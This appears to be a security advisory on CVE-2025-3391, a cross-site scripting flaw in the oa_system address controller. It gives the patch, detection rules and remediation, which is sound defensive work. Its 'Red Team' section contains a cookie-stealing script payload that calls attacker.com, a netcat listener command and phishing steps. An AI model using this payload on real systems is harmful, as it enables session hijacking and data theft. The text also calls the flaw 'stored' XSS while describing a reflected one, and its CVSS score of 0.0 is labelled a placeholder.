CVE-2025-3391

Executive Summary

CVE-2025-3391 is a stored cross-site scripting (XSS) vulnerability in the hailey888 oa_system backend, specifically in the outAddress function of AddrController.java. The vulnerability allows an attacker to inject arbitrary JavaScript via the outtype parameter, which is then executed in the context of an administrator’s browser. The exploit has been publicly disclosed, and no official patch exists due to the vendor’s rolling release model. The CVSS score is 0.0 (placeholder), but based on the vector, the actual severity is Medium (4.3). This vulnerability is particularly dangerous in an office automation (OA) system where administrative sessions often have elevated privileges.

Supply Chain & Package Security

This is a Java-based web application (likely Spring Boot). No package manager (NPM, PyPI, Go, Ruby) is involved. The risk is in the source code itself, not in a dependency chain.

CVSS Breakdown & Threat Level

Threat Level: Medium. The attack requires user interaction (admin clicks a link), but the impact is limited to data theft or session hijacking within the OA system.

Deep Dive & Mechanics

The vulnerability resides in the outAddress method of AddrController.java. The outtype parameter is reflected in the response without proper sanitization or encoding. An attacker can craft a URL like:

http://target/address/outAddress?outtype=<script>alert('XSS')</script>

When an administrator accesses this URL (e.g., via a phishing link), the script executes in the admin’s browser. This can lead to:

• Theft of session cookies.
• Exfiltration of sensitive data displayed on the page.
• Forged requests (CSRF) performed on behalf of the admin.

The backend does not validate or escape the outtype parameter before including it in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (AddrController.java):

@RequestMapping("/outAddress")
public String outAddress(String outtype, Model model) {
    model.addAttribute("outtype", outtype);
    return "address/outAddress";
}

Patched Code (Recommended):

import org.springframework.web.util.HtmlUtils;

@RequestMapping("/outAddress")
public String outAddress(String outtype, Model model) {
    String safeOuttype = HtmlUtils.htmlEscape(outtype);
    model.addAttribute("outtype", safeOuttype);
    return "address/outAddress";
}

The patch uses HtmlUtils.htmlEscape() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running hailey888 oa_system (any version up to 2025.01.01).
• Network access to the web interface.

Exploit Payload:

http://target/address/outAddress?outtype=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted URL to an admin via email or social engineering.
3. When admin clicks, the script executes and sends the cookie to your listener.

Automation with Python:

import requests

target = "http://target"
payload = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
url = f"{target}/address/outAddress?outtype={payload}"
print(f"Send this URL to admin: {url}")

Blue Team

Detection:

• Monitor logs for outAddress requests with suspicious outtype parameters containing <script> or onerror tags.
• Use WAF rules to block XSS patterns in query strings.

Honeypot:

• Deploy a fake endpoint that mimics the vulnerable function and alerts on any request with XSS payloads.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /address/outAddress with outtype containing <script>, onerror, alert, or fetch.
• Logs: Java stack traces showing outAddress method with unescaped input.
• File: Modified AddrController.java if attacker has code access.
• Cookie: Unexpected cookies set by malicious scripts (e.g., session=attacker_value).

Detection Engineering

YARA Rule

rule CVE_2025_3391_XSS {
    meta:
        description = "Detects XSS payloads targeting outtype parameter in oa_system"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = "outtype=<script" ascii nocase
        $xss2 = "outtype=javascript:" ascii nocase
        $xss3 = "outtype=onerror=" ascii nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3391 XSS Attempt on oa_system
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in outtype parameter
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/address/outAddress'
        cs-uri-query|contains: 
            - 'outtype=<script'
            - 'outtype=javascript:'
            - 'outtype=onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panel (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3391 XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/address/outAddress"; http_uri; content:"outtype="; http_uri; pcre:"/outtype=(<script|javascript:|onerror=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Apply input validation: whitelist allowed values for outtype (e.g., only alphanumeric).
2. Use output encoding: HtmlUtils.htmlEscape() in Java or equivalent in other languages.
3. Deploy a Web Application Firewall (WAF) with XSS rules.

Long-term: 4. Implement Content Security Policy (CSP) headers to block inline scripts. 5. Conduct code review for all controller methods reflecting user input. 6. Monitor vendor’s rolling releases for a fix; if none, fork and patch internally.

Workaround:

• Disable the outAddress endpoint if not essential.

Valters IT